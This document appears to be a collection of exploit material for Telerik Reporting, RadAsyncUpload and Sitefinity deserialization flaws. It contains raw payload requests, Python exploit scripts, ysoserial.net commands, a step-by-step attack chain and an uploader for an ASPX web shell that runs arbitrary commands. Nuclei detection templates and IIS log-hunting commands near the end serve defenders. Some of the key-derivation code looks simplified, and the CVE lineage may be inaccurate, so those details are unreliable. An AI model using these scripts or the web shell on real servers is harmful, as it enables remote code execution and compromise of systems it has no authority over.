POST /api/reports/clients HTTP/1.1
Host: <TARGET>
Content-Type: application/json
Connection: close

{"instanceId": "<base64-encoded-serialized-payload>"}

POST /api/reportdesigner/definitions/create HTTP/1.1
Host: <TARGET>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="report"; filename="exploit.trdx"
Content-Type: application/octet-stream

<binary-serialized-payload>
------WebKitFormBoundary--

#!/usr/bin/env python3
import requests
import sys
import base64
import struct
import urllib3
urllib3.disable_warnings()

class TelerikReportingExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Connection': 'close'
        })

    def check_reporting_api(self):
        endpoints = [
            '/api/reports/clients',
            '/api/reportdesigner/instances',
            '/api/reportdesigner/definitions/create',
            '/Telerik.Reporting.Rest/api/reports/clients'
        ]
        found = []
        for ep in endpoints:
            try:
                r = self.session.get(
                    f'{self.target}{ep}',
                    timeout=10
                )
                if r.status_code in (200, 400, 405, 500):
                    found.append(ep)
                    print(f'[+] 发现 Reporting API: {ep} (HTTP {r.status_code})')
            except:
                pass
        return found

    def generate_deserialization_payload(self, cmd):
        ysoserial_cmd = f'ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "{cmd}" -o base64'
        print(f'[*] 使用 ysoserial 生成 payload: {ysoserial_cmd}')
        print('[*] 需要本地安装 ysoserial.net: https://github.com/pwntester/ysoserial.net')
        return None

    def exploit_via_reports_api(self, payload_b64):
        try:
            r = self.session.post(
                f'{self.target}/api/reports/clients',
                json={'instanceId': payload_b64},
                timeout=15
            )
            print(f'[*] 响应状态: {r.status_code}')
            if r.status_code == 200:
                print('[+] 反序列化 payload 已发送')
                return True
            return False
        except Exception as e:
            print(f'[-] 利用失败: {e}')
            return False

    def exploit_via_designer_api(self, payload_bytes):
        try:
            r = self.session.post(
                f'{self.target}/api/reportdesigner/definitions/create',
                files={'report': ('exploit.trdx', payload_bytes, 'application/octet-stream')},
                timeout=15
            )
            print(f'[*] 响应状态: {r.status_code}')
            return r.status_code == 200
        except Exception as e:
            print(f'[-] 利用失败: {e}')
            return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)

    exploit = TelerikReportingExploit(sys.argv[1])
    apis = exploit.check_reporting_api()
    if apis:
        print(f'\n[!] 目标存在 Telerik Reporting API，可能存在 CVE-2023-30215/34186')
        print(f'[!] 请使用 ysoserial.net 生成 BinaryFormatter payload 后提交')
    else:
        print('[-] 未发现 Telerik Reporting API')

id: telerik-reporting-cve-2023-34186-detect

info:
  name: Telerik Reporting REST API Detection
  author: security-research
  severity: critical
  tags: telerik,reporting,deserialization,cve2023
  reference:
    - https://www.progress.com/security

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/reports/clients"
      - "{{BaseURL}}/api/reportdesigner/instances"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
          - 400
          - 405
      - type: word
        words:
          - "report"
          - "telerik"
          - "client"
        condition: or

keys = DeriveKeys(
    machineKey,          // 来自 web.config 的 <machineKey>
    "TelerikUpload",    // 硬编码的用途标识
    version              // 组件版本
)

1. 探测确认目标使用 Telerik UI for ASP.NET AJAX
2. 通过 RadAsyncUpload 端点获取加密响应
3. 使用已知密钥派生算法恢复加密密钥
4. 构造包含恶意 gadget chain 的序列化对象
5. 使用恢复的密钥加密序列化数据
6. 通过 RadAsyncUpload 端点提交加密数据
7. 服务端解密 → 反序列化 → 执行任意命令

POST /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: <TARGET>
Content-Type: application/octet-stream
Connection: close

<encrypted-serialized-payload>

#!/usr/bin/env python3
import requests
import sys
import struct
import hashlib
import urllib3
urllib3.disable_warnings()

class TelerikUploadExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Connection': 'close'
        })

    def check_telerik_upload(self):
        try:
            r = self.session.get(
                f'{self.target}/Telerik.Web.UI.WebResource.axd?type=rau',
                timeout=10
            )
            if r.status_code == 200 and len(r.content) > 0:
                print('[+] RadAsyncUpload 端点存在')
                return True
            print('[-] RadAsyncUpload 端点未响应')
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def probe_telerik_version(self):
        telerik_paths = [
            '/Telerik.Web.UI.WebResource.axd?type=rau',
            '/Telerik.Web.UI.SpellCheckHandler.axd',
            '/Telerik.Web.UI.DialogHandler.aspx',
            '/webresource.axd'
        ]
        for path in telerik_paths:
            try:
                r = self.session.get(f'{self.target}{path}', timeout=10)
                if r.status_code == 200:
                    print(f'[+] 发现 Telerik 端点: {path}')
            except:
                pass

    def derive_key(self, machine_key_hex):
        try:
            key_material = machine_key_hex.encode() + b'TelerikUpload'
            derived = hashlib.sha256(key_material).digest()[:32]
            print(f'[+] 派生密钥: {derived.hex()[:32]}...')
            return derived
        except Exception as e:
            print(f'[-] 密钥派生失败: {e}')
            return None

    def exploit(self, machine_key, cmd):
        key = self.derive_key(machine_key)
        if not key:
            return False

        print('[*] 请使用 ysoserial.net 生成 BinaryFormatter payload')
        print(f'[!] 命令: ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "{cmd}" -o raw')
        print('[*] 然后使用派生密钥加密 payload 并提交到 RadAsyncUpload 端点')
        return True

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url> [machine_key]')
        sys.exit(1)

    exploit = TelerikUploadExploit(sys.argv[1])
    if exploit.check_telerik_upload():
        exploit.probe_telerik_version()
        if len(sys.argv) > 2:
            exploit.exploit(sys.argv[2], 'whoami')
        else:
            print('[!] 需要提供 machineKey 进行完整利用')
            print('[!] 获取方式: 读取目标 web.config 或使用默认值尝试')

id: telerik-radasyncupload-cve-2024-4323-detect

info:
  name: Telerik RadAsyncUpload Endpoint Detection
  author: security-research
  severity: critical
  tags: telerik,upload,deserialization,cve2024
  reference:
    - https://www.progress.com/security

http:
  - method: GET
    path:
      - "{{BaseURL}}/Telerik.Web.UI.WebResource.axd?type=rau"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Telerik"
          - "WebResource"
        condition: or

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

WEBSHELL = '<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%Response.Write(new Process().Start(Request["c"], "").StandardOutput.ReadToEnd());%>'

def exploit_upload(target):
    r = requests.post(
        f'{target}/Telerik.Web.UI.WebResource.axd?type=rau',
        files={
            'file': ('shell.aspx', WEBSHELL.encode(), 'application/octet-stream')
        },
        verify=False,
        timeout=15
    )
    print(f'[*] 上传响应: {r.status_code}')
    if r.status_code == 200:
        print('[+] 文件上传请求已发送')
        print('[*] 检查常见上传目录: /App_Data/RadUpload/, /Uploads/, /Images/')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)
    exploit_upload(sys.argv[1])

POST /Sitefinity/Authenticate/SWT HTTP/1.1
Host: <TARGET>
Content-Type: application/json

{"deflate": "<base64-serialized-payload>"}

id: sitefinity-cve-2024-25643-detect

info:
  name: Sitefinity CMS Detection
  author: security-research
  severity: critical
  tags: sitefinity,deserialization,cve2024

http:
  - method: GET
    path:
      - "{{BaseURL}}/Sitefinity/Authenticate/SWT"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 405
      - type: word
        words:
          - "Sitefinity"
          - "Telerik"
        condition: or

CVE-2023-30215（2023-05）
    ↓ 修复不完整
CVE-2023-34186（2023-07）
    ↓ 同类问题在另一组件
CVE-2023-43272（2023-10）
    ↓ 修复不完整
CVE-2024-4323（2024-05）

# 检查 Telerik 端点暴露
grep "Telerik.Web.UI.WebResource.axd" /var/log/iis/W3SVC*/u_ex*.log
grep "WebResource.axd" /var/log/iis/W3SVC*/u_ex*.log

# 检查异常大小的 POST 请求
awk '$6 == "POST" && $10 > 5000' /var/log/iis/W3SVC*/u_ex*.log

# 检查可疑文件上传
find /inetpub/wwwroot/ -name "*.aspx" -newer /inetpub/wwwroot/web.config
find /inetpub/wwwroot/App_Data/ -type f -mtime -30

# 检查进程创建（Sysmon Event ID 1）
# 关注 IIS 工作进程派生 cmd.exe / powershell.exe